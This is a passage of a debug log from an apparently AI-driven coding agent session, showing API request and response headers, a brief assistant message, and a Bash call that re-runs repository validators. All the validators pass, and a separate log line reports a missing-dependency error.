\"DYNAMIC\",\n[2026-09-29T08:00:34.465Z] [STDOUT]     \"cf-ray\": \"a4297471985c5d90-FRA\",\n[2026-09-29T08:00:34.468Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:00:34.470Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:34.475Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:34.477Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:34.484Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:00:34 GMT\",\n[2026-09-29T08:00:34.487Z] [STDOUT]     \"request-id\": \"req_011CfXNukHsdsUKC5JQavDaK\",\n[2026-09-29T08:00:34.491Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:00:34.493Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:34.496Z] [STDOUT]     traceresponse: \"00-deb4e7a78492cf93f6760bfa1db1653f-a442784439b2f3dd-01\",\n[2026-09-29T08:00:34.500Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:34.502Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:00:34.524Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:34.530Z] [STDOUT]   },\n[2026-09-29T08:00:34.534Z] [STDOUT]   durationMs: 857,\n[2026-09-29T08:00:34.540Z] [STDOUT] }\n[2026-09-29T08:00:34.544Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:00:34.549Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:00:34 GMT\",\n[2026-09-29T08:00:34.551Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:34.555Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:34.559Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:00:34.564Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:34.567Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:34.570Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:34.573Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:00:34.577Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:34.583Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:34.594Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:34.600Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:00:34.606Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:34.613Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:34.624Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:34.642Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:34.645Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:34.650Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:34.653Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:00:34.665Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:00:34.674Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:00:34.686Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:34.693Z] [STDOUT]   \"request-id\": \"req_011CfXNukHsdsUKC5JQavDaK\",\n[2026-09-29T08:00:34.704Z] [STDOUT]   \"traceresponse\": \"00-deb4e7a78492cf93f6760bfa1db1653f-a442784439b2f3dd-01\",\n[2026-09-29T08:00:34.710Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:34.721Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:34.739Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:00:34.751Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:00:34.758Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:34.762Z] [STDOUT]   \"cf-ray\": \"a4297471985c5d90-FRA\",\n[2026-09-29T08:00:34.769Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:00:34.776Z] [STDOUT] [log_df2fb8] response parsed {\n[2026-09-29T08:00:34.781Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:34.788Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:34.801Z] [STDOUT]   body: X {\n[2026-09-29T08:00:34.807Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:00:34.824Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:00:34.841Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:00:34.850Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:00:34.872Z] [STDOUT]     },\n[2026-09-29T08:00:34.876Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:00:34.883Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:00:34.886Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:00:34.888Z] [STDOUT]   },\n[2026-09-29T08:00:34.891Z] [STDOUT]   durationMs: 857,\n[2026-09-29T08:00:34.894Z] [STDOUT] }\n[2026-09-29T08:00:35.285Z] [INFO] {\n[2026-09-29T08:00:35.285Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:35.285Z] [INFO]   \"message\": {\n[2026-09-29T08:00:35.285Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:35.285Z] [INFO]     \"id\": \"msg_011CfXNukjAdztjqc7HDNobE\",\n[2026-09-29T08:00:35.285Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:35.285Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:35.285Z] [INFO]     \"content\": [\n[2026-09-29T08:00:35.285Z] [INFO]       {\n[2026-09-29T08:00:35.285Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:00:35.285Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:00:35.285Z] [INFO]         \"signature\": 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}\n[2026-09-29T08:00:35.285Z] [INFO]     ],\n[2026-09-29T08:00:35.285Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:35.285Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:35.285Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:35.285Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:35.285Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:35.285Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:35.285Z] [INFO]       \"cache_creation_input_tokens\": 415,\n[2026-09-29T08:00:35.285Z] [INFO]       \"cache_read_input_tokens\": 80234,\n[2026-09-29T08:00:35.285Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:35.285Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:35.285Z] [INFO]         \"ephemeral_1h_input_tokens\": 415\n[2026-09-29T08:00:35.285Z] [INFO]       },\n[2026-09-29T08:00:35.285Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T08:00:35.285Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:35.285Z] [INFO]      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\"claude-opus-5-5\",\n[2026-09-29T08:00:35.297Z] [INFO]     \"id\": \"msg_011CfXNukjAdztjqc7HDNobE\",\n[2026-09-29T08:00:35.297Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:35.297Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:35.297Z] [INFO]     \"content\": [\n[2026-09-29T08:00:35.297Z] [INFO]       {\n[2026-09-29T08:00:35.297Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:00:35.297Z] [INFO]         \"text\": \"Recent entries don't bump the CHANGELOG version, so I'll leave it. Re-running the validators, then committing:\"\n[2026-09-29T08:00:35.297Z] [INFO]       }\n[2026-09-29T08:00:35.297Z] [INFO]     ],\n[2026-09-29T08:00:35.297Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:35.297Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:35.297Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:35.297Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:35.297Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:35.297Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:35.297Z] [INFO]       \"cache_creation_input_tokens\": 415,\n[2026-09-29T08:00:35.297Z] [INFO]       \"cache_read_input_tokens\": 80234,\n[2026-09-29T08:00:35.297Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:35.297Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:35.297Z] [INFO]         \"ephemeral_1h_input_tokens\": 415\n[2026-09-29T08:00:35.297Z] [INFO]       },\n[2026-09-29T08:00:35.297Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T08:00:35.297Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:35.297Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:35.297Z] [INFO]     },\n[2026-09-29T08:00:35.297Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:35.297Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:35.297Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:35.297Z] [INFO]   },\n[2026-09-29T08:00:35.297Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:35.297Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:35.297Z] [INFO]   \"uuid\": \"6bb91cd9-b642-4d28-a771-43e364b0db50\",\n[2026-09-29T08:00:35.297Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:35.282Z\",\n[2026-09-29T08:00:35.297Z] [INFO]   \"request_id\": \"req_011CfXNukHsdsUKC5JQavDaK\"\n[2026-09-29T08:00:35.297Z] [INFO] }\n[2026-09-29T08:00:36.985Z] [INFO] {\n[2026-09-29T08:00:36.985Z] [INFO]   \"type\": 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tools/generate-manifest.py --check\\\" \\\"bash tools/test-validate-rrp-links.sh\\\"; do $v >/tmp/v.log 2>&1 && echo \\\"PASS $v\\\" || { echo \\\"FAIL $v\\\"; tail -8 /tmp/v.log; }; done; cat /tmp/tep.log | tail -4\",\n[2026-09-29T08:00:36.985Z] [INFO]           \"description\": \"Re-run validators after edits\"\n[2026-09-29T08:00:36.985Z] [INFO]         },\n[2026-09-29T08:00:36.985Z] [INFO]         \"caller\": {\n[2026-09-29T08:00:36.985Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:00:36.985Z] [INFO]         }\n[2026-09-29T08:00:36.985Z] [INFO]       }\n[2026-09-29T08:00:36.985Z] [INFO]     ],\n[2026-09-29T08:00:36.985Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:36.985Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:36.985Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:36.985Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:36.985Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:36.985Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:36.985Z] [INFO]       \"cache_creation_input_tokens\": 415,\n[2026-09-29T08:00:36.985Z] [INFO]       \"cache_read_input_tokens\": 80234,\n[2026-09-29T08:00:36.985Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:36.985Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:36.985Z] [INFO]         \"ephemeral_1h_input_tokens\": 415\n[2026-09-29T08:00:36.985Z] [INFO]       },\n[2026-09-29T08:00:36.985Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T08:00:36.985Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:36.985Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:36.985Z] [INFO]     },\n[2026-09-29T08:00:36.985Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:36.985Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:36.985Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:36.985Z] [INFO]   },\n[2026-09-29T08:00:36.985Z] [INFO]   \"parent_tool_use_id\": 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}\n[2026-09-29T08:01:07.044Z] [INFO] {\n[2026-09-29T08:01:07.044Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T08:01:07.044Z] [INFO]   \"tool_use_id\": \"toolu_01JFcauDpbtfSD12yE6TAn8B-heartbeat-0\",\n[2026-09-29T08:01:07.044Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T08:01:07.044Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JFcauDpbtfSD12yE6TAn8B\",\n[2026-09-29T08:01:07.044Z] [INFO]   \"elapsed_time_seconds\": 30,\n[2026-09-29T08:01:07.044Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T08:01:07.044Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:01:07.044Z] [INFO]   \"uuid\": \"6f177b27-cede-4bae-b5aa-d58916e0a327\"\n[2026-09-29T08:01:07.044Z] [INFO] }\n[2026-09-29T08:01:37.013Z] [INFO] {\n[2026-09-29T08:01:37.013Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T08:01:37.013Z] [INFO]   \"tool_use_id\": \"toolu_01JFcauDpbtfSD12yE6TAn8B-heartbeat-1\",\n[2026-09-29T08:01:37.013Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T08:01:37.013Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JFcauDpbtfSD12yE6TAn8B\",\n[2026-09-29T08:01:37.013Z] [INFO]   \"elapsed_time_seconds\": 60,\n[2026-09-29T08:01:37.013Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T08:01:37.013Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:01:37.013Z] [INFO]   \"uuid\": \"7c937bc1-58ad-44a9-a4bd-1ed14f1aaaca\"\n[2026-09-29T08:01:37.013Z] [INFO] }\n[2026-09-29T08:02:04.303Z] [INFO] {\n[2026-09-29T08:02:04.303Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"task_id\": \"b7pz11o1n\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"tool_use_id\": \"toolu_01JFcauDpbtfSD12yE6TAn8B\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"summary\": \"Re-run validators after edits\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"uuid\": \"f86755a5-85ff-4d7e-aa0f-1626bbb37717\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:02:04.303Z] [INFO] }\n[2026-09-29T08:02:04.553Z] [INFO] {\n[2026-09-29T08:02:04.553Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:02:04.553Z] [INFO]   \"message\": {\n[2026-09-29T08:02:04.553Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:02:04.553Z] [INFO]     \"content\": [\n[2026-09-29T08:02:04.553Z] [INFO]       {\n[2026-09-29T08:02:04.553Z] [INFO]         \"tool_use_id\": \"toolu_01JFcauDpbtfSD12yE6TAn8B\",\n[2026-09-29T08:02:04.553Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:02:04.553Z] [INFO]         \"content\": \"PASS ./tools/validate-frontmatter.sh .\\nPASS ./tools/validate-file-naming.sh\\nPASS ./tools/validate-repository-structure.sh\\nPASS ./tools/validate-rrp-links.sh\\nPASS python3 tools/generate-manifest.py --check\\nPASS bash tools/test-validate-rrp-links.sh\\n\\nOK\\nERROR: install pinned dependencies with pip install -r requirements.txt\\nexit 2\",\n[2026-09-29T08:02:04.553Z] [INFO]         \"is_error\": false\n[2026-09-29T08:02:04.553Z] [INFO]       }\n[2026-09-29T08:02:04.553Z] [INFO]     ]\n[2026-09-29T08:02:04.553Z] [INFO]   },\n[2026-09-29T08:02:04.553Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:04.553Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:04.553Z] [INFO]   \"uuid\": \"7fb300bd-46d3-4d31-8d22-94af77f5d418\",\n[2026-09-29T08:02:04.553Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:04.499Z\",\n[2026-09-29T08:02:04.553Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:02:04.553Z] [INFO]     \"stdout\": \"PASS ./tools/validate-frontmatter.sh .\\nPASS ./tools/validate-file-naming.sh\\nPASS ./tools/validate-repository-structure.sh\\nPASS ./tools/validate-rrp-links.sh\\nPASS python3 tools/generate-manifest.py --check\\nPASS bash tools/test-validate-rrp-links.sh\\n\\nOK\\nERROR: install pinned dependencies with pip install -r requirements.txt\\nexit 2\",\n[2026-09-29T08:02:04.553Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:02:04.553Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:02:04.553Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:02:04.553Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:02:04.553Z] [INFO]   }\n[2026-09-29T08:02:04.553Z] [INFO] }\n[2026-09-29T08:02:05.230Z] [STDOUT] [log_08adca] sending request {\n[2026-09-29T08:02:05.235Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:02:05.242Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:05.255Z] [STDOUT]   options: {\n[2026-09-29T08:02:05.262Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:02:05.266Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:02:05.277Z] [STDOUT]     body: {\n[2026-09-29T08:02:05.279Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:02:05.282Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:02:05.287Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:02:05.290Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:02:05.295Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:02:05.315Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:02:05.322Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:02:05.329Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:02:05.345Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:02:05.350Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:02:05.356Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:02:05.362Z] [STDOUT]       stream: true,\n[2026-09-29T08:02:05.371Z] [STDOUT]     },\n[2026-09-29T08:02:05.375Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:02:05.379Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:02:05.383Z] [STDOUT]       aborted: false,\n[2026-09-29T08:02:05.385Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:02:05.406Z] [STDOUT]       onabort: null,\n[2026-09-29T08:02:05.409Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:02:05.412Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:02:05.416Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:02:05.419Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:02:05.426Z] [STDOUT]     },\n[2026-09-29T08:02:05.441Z] [STDOUT]     stream: true,\n[2026-09-29T08:02:05.449Z] [STDOUT]   },\n[2026-09-29T08:02:05.461Z] [STDOUT]   headers: {\n[2026-09-29T08:02:05.464Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:02:05.470Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:02:05.476Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:02:05.480Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:02:05.487Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:02:05.496Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:02:05.500Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:02:05.503Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:02:05.508Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:02:05.511Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=87448\",\n[2026-09-29T08:02:05.514Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:02:05.516Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:02:05.518Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:05.520Z] [STDOUT]     \"x-client-request-id\": \"04059fd8-2287-49e8-96e1-ca8f008c9dee\",\n[2026-09-29T08:02:05.523Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:02:05.530Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:02:05.532Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:02:05.538Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:02:05.540Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:02:05.543Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:02:05.545Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:02:05.547Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:02:05.554Z] [STDOUT]   },\n[2026-09-29T08:02:05.556Z] [STDOUT] }\n[2026-09-29T08:02:06.168Z] [STDOUT] [log_08adca, request-id: \"req_011CfXP2WPA4ow2nTFBzdLdZ\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 958ms\n[2026-09-29T08:02:06.173Z] [STDOUT] [log_08adca] response start {\n[2026-09-29T08:02:06.177Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:06.185Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:06.193Z] [STDOUT]   headers: {\n[2026-09-29T08:02:06.200Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:06.204Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:06.208Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:06.214Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.45\",\n[2026-09-29T08:02:06.252Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:06.256Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:06.258Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:06.261Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:06.263Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:06.266Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:06.276Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:06.284Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:06.287Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:06.291Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:06.293Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:06.295Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:06.296Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:06.299Z] [STDOUT]     \"cf-ray\": \"a42976aee8535d90-FRA\",\n[2026-09-29T08:02:06.301Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:02:06.303Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:06.304Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:06.306Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:06.313Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:02:06 GMT\",\n[2026-09-29T08:02:06.315Z] [STDOUT]     \"request-id\": \"req_011CfXP2WPA4ow2nTFBzdLdZ\",\n[2026-09-29T08:02:06.318Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:02:06.320Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:06.322Z] [STDOUT]     traceresponse: \"00-b476b110f1f5faacc0123d57231e78e6-6ce84413478ea198-01\",\n[2026-09-29T08:02:06.323Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:06.326Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:02:06.327Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:06.329Z] [STDOUT]   },\n[2026-09-29T08:02:06.332Z] [STDOUT]   durationMs: 958,\n[2026-09-29T08:02:06.334Z] [STDOUT] }\n[2026-09-29T08:02:06.336Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:02:06.338Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:02:06 GMT\",\n[2026-09-29T08:02:06.340Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:06.342Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:06.344Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:02:06.345Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:06.347Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:06.354Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:06.358Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:02:06.360Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:06.363Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:06.366Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:06.370Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:06.372Z] 